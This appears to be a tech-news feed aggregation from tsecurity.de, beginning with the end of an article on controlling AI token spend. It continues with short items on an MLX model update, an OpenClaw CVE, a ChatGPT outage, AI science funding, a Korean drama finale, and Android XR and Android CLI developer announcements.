<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[v0.32.4: model: add Laguna MLX support (#17237)]]></title>
<description><![CDATA[model: add Laguna MLX support

Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.
Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and exper...]]></description>
<link>https://tsecurity.de/de/3694132/downloads/v0324-model-add-laguna-mlx-support-17237/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694132/downloads/v0324-model-add-laguna-mlx-support-17237/</guid>
<pubDate>Sat, 25 Jul 2026 18:16:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>model: add Laguna MLX support</li>
</ul>
<p>Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.</p>
<p>Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and expert projections, selectively promote sensitive expert down projections, and emit per-tensor metadata for mixed quantization blobs.</p>
<p>Correct dense expert loading, BF16 source-layout handling, expert global-scale shapes and dtypes, routing-score scaling, and mixed-precision expert dispatch. Gate/up and down projections select quantized or dense execution independently so promoted BF16 down projections do not force quantized gate/up weights through the dense fallback.</p>
<p>Optimize the forward pass with compatible gate/up fusion, sorted standard GatherMM and GatherQMM operations for larger prefills, model-local mlx.Compile closures for elementwise MoE work, and cache-backed 512-token prefill chunks. This keeps the implementation on maintained MLX operations without custom kernels.</p>
<p>Add focused tests for Laguna configuration variants, quantization policy and metadata, dense and routed expert loading, mixed-precision dispatch, compiled-versus-eager parity, fused projections, routing, and prefill chunking.</p>
<ul>
<li>review comments and S 2.1 performance fixes</li>
</ul>
<p>Address renderer/parser selection and mixed-precision expert quantization review feedback.</p>
<p>Keep Laguna weights resident on Metal to prevent repeated paging of its large, sparsely accessed expert buffers. Scope this policy to Laguna GPU execution.</p>
<p>Remove obsolete 512-token prefill chunking now that the runner's 2048-token path is faster.</p>
<ul>
<li>
<p>review comments addressed</p>
</li>
<li>
<p>fix create</p>
</li>
</ul>]]></content:encoded>
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<title><![CDATA[CVE-2026-32970 | OpenClaw up to 2026.3.10 gateway.auth.token/gateway.auth.password failing open (GHSA-qvr7-g57c-mrc7)]]></title>
<description><![CDATA[A vulnerability was found in OpenClaw up to 2026.3.10. It has been rated as problematic. The impacted element is an unknown function. This manipulation of the argument gateway.auth.token/gateway.auth.password causes not failing securely.

This vulnerability is handled as CVE-2026-32970. It is pos...]]></description>
<link>https://tsecurity.de/de/3693868/sicherheitsluecken/cve-2026-32970-openclaw-up-to-2026310-gatewayauthtokengatewayauthpassword-failing-open-ghsa-qvr7-g57c-mrc7/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693868/sicherheitsluecken/cve-2026-32970-openclaw-up-to-2026310-gatewayauthtokengatewayauthpassword-failing-open-ghsa-qvr7-g57c-mrc7/</guid>
<pubDate>Sat, 25 Jul 2026 13:32:39 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/openclaw">OpenClaw up to 2026.3.10</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. The impacted element is an unknown function. This manipulation of the argument <em>gateway.auth.token/gateway.auth.password</em> causes not failing securely.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-32970">CVE-2026-32970</a>. It is possible to launch the attack on the local host. There is not any exploit available.

Upgrading the affected component is advised.]]></content:encoded>
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<title><![CDATA[‘Agent Kim Reactivated’ Episode 10 Finale Release Date and What to Expect]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 will release on Saturday, July 25, 2026, bringing the Korean action drama’s first season to an end. The finale will air on SBS in South Korea before becoming available to international viewers on Netflix.



The final episode will begin at 9:45 p.m. KST, which is ...]]></description>
<link>https://tsecurity.de/de/3693855/ios-mac-os/agent-kim-reactivated-episode-10-finale-release-date-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693855/ios-mac-os/agent-kim-reactivated-episode-10-finale-release-date-and-what-to-expect/</guid>
<pubDate>Sat, 25 Jul 2026 13:19:44 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 will release on Saturday, July 25, 2026, bringing the Korean action drama’s first season to an end. The finale will air on SBS in South Korea before becoming available to international viewers on Netflix.



The final episode will begin at 9:45 p.m. KST, which is five minutes earlier than the show’s usual 9:50 p.m. slot. SBS has also confirmed that Episode 10 will have a slightly extended runtime, giving the series more time to resolve its remaining conflicts.



Agent Kim Reactivated Episode 10 release details




Episode: 10



Release date: Saturday, July 25, 2026



SBS broadcast time: 9:45 p.m. KST



Streaming platform: Netflix



Total episodes: 10



Genre: Action, crime, comedy and thriller




Netflix normally adds new episodes after their Korean television broadcast, although the exact arrival time can differ by country.



Where is the story heading in the finale?



Spoilers for Episode 9 follow.



Episode 9 placed Manager Kim and his allies in the middle of a dangerous extraction operation. Kim attempted to rescue Ri Eung-ryeong from North Korean agents while Han-su, Jin-cheol and Sang-a helped him enter a heavily guarded hotel.



The operation quickly fell apart after communications were cut and the building lost power. Kim and Ri Eung-ryeong were surrounded by armed agents near the loading area, leaving their escape uncertain.



Meanwhile, Ju Gang-chan’s assistant kidnapped the children of Han-su and Jin-cheol. The episode ended with both fathers learning that their families were being used against them, setting up another personal rescue mission for the finale.



Episode 10 should therefore focus on Kim escaping the hotel, protecting Min-ji and helping his friends save their children. The finale must also settle Ju Gang-chan’s fate and reveal whether Kim can finally leave his violent past behind.



How did Agent Kim’s story begin?



The series started with Kim living quietly as an office worker and raising his teenage daughter, Min-ji, after his wife’s death. His ordinary life collapsed when Min-ji disappeared, forcing him to reveal the black-ops abilities he had kept hidden for years.



As Kim searched for his daughter, the mission exposed old enemies, secret government operations and unresolved connections to North Korea. His former life gradually placed everyone around him in danger.



Agent Kim Reactivated Episode 10 now has several major storylines to complete during its extended finale. Do you expect Manager Kim and Min-ji to receive a happy ending? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Anti-AI open source has an enemy in common, but almost nothing else]]></title>
<description><![CDATA[Building bot-free alternatives may require lefties, libertarians, and culture warriors to share code]]></description>
<link>https://tsecurity.de/de/3693803/it-nachrichten/anti-ai-open-source-has-an-enemy-in-common-but-almost-nothing-else/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693803/it-nachrichten/anti-ai-open-source-has-an-enemy-in-common-but-almost-nothing-else/</guid>
<pubDate>Sat, 25 Jul 2026 12:27:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building bot-free alternatives may require lefties, libertarians, and culture warriors to share code]]></content:encoded>
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<title><![CDATA[OpenAI Confirms ChatGPT is Down Worldwide]]></title>
<description><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. M...]]></description>
<link>https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/</guid>
<pubDate>Sat, 25 Jul 2026 11:49:11 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT is down for many users worldwide today. People trying to log in or send a message are running into errors, and reports are coming in from the United States, Europe, India, Japan, and Australia.



Complaints started building up on DownDetector and X within a short window this afternoon. Most of what people are describing points to the login or authentication layer rather than the chat model itself.



Users say they get stuck on a loading screen, get signed out in the middle of a conversation, or cannot open their older chats at all. Both free and paid ChatGPT accounts seem to be affected, and the trouble is not limited to the website. Some people on the mobile app have run into the same login problems.



Common symptoms being reported include:




Failed logins or repeated authentication errors



Chat history that will not load



Sessions ending without warning



"Service unavailable" messages when sending a prompt




OpenAI's Response So Far



OpenAI's status page lists the affected services as under investigation. At the same time, the page has flipped between showing an active issue and showing normal operation while engineers work through the fix. This kind of mismatch is common during login related outages, since the sign in system can break down even while the core chatbot keeps running fine underneath it.



This is not the first rough week for ChatGPT. Just two days earlier, on July 23, OpenAI dealt with a separate outage affecting ChatGPT, Codex, and its API that took close to 24 hours to fully resolve. With this new round of complaints landing so soon after that incident, users on social media have started asking why the service has been running into trouble so often lately.



If you cannot get into ChatGPT right now, a few small steps can help before you assume the worst:




Refresh the page, or fully close and reopen the app



Log out and log back in instead of just refreshing



Check status.openai.com for the latest update



Try the mobile app if the website will not load, or the other way around




OpenAI has not shared a root cause or a timeline for a fix yet, and this piece will be updated once more information comes in.]]></content:encoded>
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<title><![CDATA[Trump administration says 15 agencies will get $5bn in ‘AI for science’ effort]]></title>
<description><![CDATA[Administration will also overhaul how US government funds federal research by supporting individual scientists and AI over universitiesThe US will spend $5bn to tackle longstanding scientific problems across multiple fields using AI, ⁠the Trump administration said in a statement on Wednesday. The...]]></description>
<link>https://tsecurity.de/de/3693747/it-nachrichten/trump-administration-says-15-agencies-will-get-5bn-in-ai-for-science-effort/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693747/it-nachrichten/trump-administration-says-15-agencies-will-get-5bn-in-ai-for-science-effort/</guid>
<pubDate>Sat, 25 Jul 2026 11:40:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Administration will also overhaul how US government funds federal research by supporting individual scientists and AI over universities</p><p>The US will spend $5bn to tackle longstanding scientific problems across multiple fields using <a href="https://www.theguardian.com/technology/artificialintelligenceai">AI</a>, ⁠the <a href="https://www.theguardian.com/us-news/trump-administration">Trump administration</a> said in a statement on Wednesday. The agencies will use the funding to identify the root causes ⁠of chronic diseases, accelerate drug ⁠discovery and ​develop longer-lasting building materials, among other tasks, according to the statement.</p><p>Scientists will have access to the Department of Energy’s supercomputers, AI and specialized ⁠datasets, along with other components needed to run experiments using algorithms, said Michael Kratsios, the chief technology adviser to Donald Trump, in an ⁠interview with Reuters.</p> <a href="https://www.theguardian.com/us-news/2026/jul/22/trump-science-funding-overhaul-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Build 2026: Furthering Windows as the trusted platform for development]]></title>
<description><![CDATA[Build is one of our favorite moments each year - a chance to connect with the global developer community and share what we’ve been building.
Over the past year, we have connected with many developers pushing the boundaries of what’s possible on 
The post Build 2026: Furthering Windows as the trus...]]></description>
<link>https://tsecurity.de/de/3693527/windows-tipps/build-2026-furthering-windows-as-the-trusted-platform-for-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693527/windows-tipps/build-2026-furthering-windows-as-the-trusted-platform-for-development/</guid>
<pubDate>Sat, 25 Jul 2026 10:17:37 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Build is one of our favorite moments each year - a chance to connect with the global developer community and share what we’ve been building.</p>
<p>Over the past year, we have connected with many developers pushing the boundaries of what’s possible on </p>
<p>The post <a href="https://blogs.windows.com/windowsdeveloper/2026/06/02/build-2026-furthering-windows-as-the-trusted-platform-for-development/">Build 2026: Furthering Windows as the trusted platform for development</a> appeared first on <a href="https://blogs.windows.com/windowsdeveloper">Windows Developer Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Build for the future with the Android XR Developer Catalyst Program — Apply now!]]></title>
<description><![CDATA[Posted by Android XR Team


  The Android XR ecosystem is expanding, and we’re committed to supporting developers who will build its next great experiences. Today, we’re opening applications for the Android XR Developer Catalyst Program, a dedicated initiative to accelerate the development of And...]]></description>
<link>https://tsecurity.de/de/3693515/android-tipps/build-for-the-future-with-the-android-xr-developer-catalyst-program-apply-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693515/android-tipps/build-for-the-future-with-the-android-xr-developer-catalyst-program-apply-now/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:51 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
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<div class="separator">Posted by Android XR Team</div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK-8uaBuG-Xdug5wfik0xw8C-Nhyphenhyphenj5-Z7tHoQjxeFwH-5qqg2OB2DSGMHgHFd_372Fx_tREZxL51mDBFJEGMpc5eH9bH-7461bXKEXZgefVhPAmAU8Ehvk8_zpnkhODFFI51tyrJMnoudf3a6b9sCfEqcJoZ-idYpBVVUet8Ehc2gUR30R2D8ADSS-RdE/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK-8uaBuG-Xdug5wfik0xw8C-Nhyphenhyphenj5-Z7tHoQjxeFwH-5qqg2OB2DSGMHgHFd_372Fx_tREZxL51mDBFJEGMpc5eH9bH-7461bXKEXZgefVhPAmAU8Ehvk8_zpnkhODFFI51tyrJMnoudf3a6b9sCfEqcJoZ-idYpBVVUet8Ehc2gUR30R2D8ADSS-RdE/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><div><br></div>
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  <p dir="ltr">The Android XR ecosystem is expanding, and we’re committed to supporting developers who will build its next great experiences. Today, we’re opening applications for the <a href="http://developer.android.com/develop/xr/catalyst">Android XR Developer Catalyst Program</a>, a dedicated initiative to accelerate the development of Android XR apps ready to launch within the next year.</p>
  
  <p dir="ltr">This program is designed to provide the resources, hardware, and grants to help you build and scale innovative experiences across <a href="https://developer.android.com/develop/xr/devices#xr-glasses">wired XR glasses</a>, like <a href="https://www.xreal.com/us/aura">XREAL’s Project Aura</a>, and <a href="https://developer.android.com/develop/xr/devices#audio-display">intelligent eyewear</a> (audio and display glasses). We are especially interested in seeing innovative experiences across media, gaming, productivity, and health, but we welcome any unique use case that helps users expand what's possible.</p>
  
  <h3 dir="ltr">Why join the catalyst program?</h3>
  
  <p dir="ltr">We want to help developers navigate common barriers to entry for XR development by providing:</p>
  
  <ul>
    <li dir="ltr">
      <p dir="ltr"><strong>Development Kits:</strong> Get early access to hardware development kits for wired XR glasses (XREAL’s Project Aura) and / or intelligent eyewear (audio and display glasses).</p>
    </li>
    <li dir="ltr">
      <p dir="ltr"><strong>Technical support:</strong> Gain access to specialized technical resources and support forums specifically designed to help you prepare your app for Google Play.</p>
    </li>
    <li dir="ltr">
      <p dir="ltr"><strong>Grant Opportunities:</strong> Submit a request and you may be eligible to receive a non-recoupable grant to accelerate your development.</p>
    </li>
  </ul>
  
  <h3 dir="ltr">Ready to start building?</h3>
  
  <p dir="ltr">Applications are open to developers looking to publish apps for the Android XR ecosystem in the next 6-12 months. You can build with Kotlin and the <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk">Jetpack XR SDK</a>, or with <a href="https://developer.android.com/develop/xr/unity">Unity</a>, <a href="https://developer.android.com/develop/xr/unreal">Unreal Engine</a> or <a href="https://developer.android.com/develop/xr/godot">Godot</a>. If you need a spark of inspiration, you can check out existing XR <a href="https://developer.android.com/develop/xr/experiments">Experiments</a> and <a href="https://developer.android.com/develop/xr/samples">Samples</a> to see how you can use the SDK for everything from spatial music to navigation.</p>
  
  <p dir="ltr">Once you have your concept ready, be sure to <a href="http://developer.android.com/develop/xr/catalyst">submit your application</a> by June 30th by 11:59PM PDT. We can’t wait to see what you build.</p>
  
  <p dir="ltr"><strong><a href="http://developer.android.com/develop/xr/catalyst">Start Your Application</a></strong></p><p dir="ltr">Explore this announcement and all Google I/O 2026 updates on <span></span><a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=" rel="noopener nofollow noreferrer" target="_blank">io.google<span></span></a>.</p>
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<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

  <p><span></span></p>
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  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
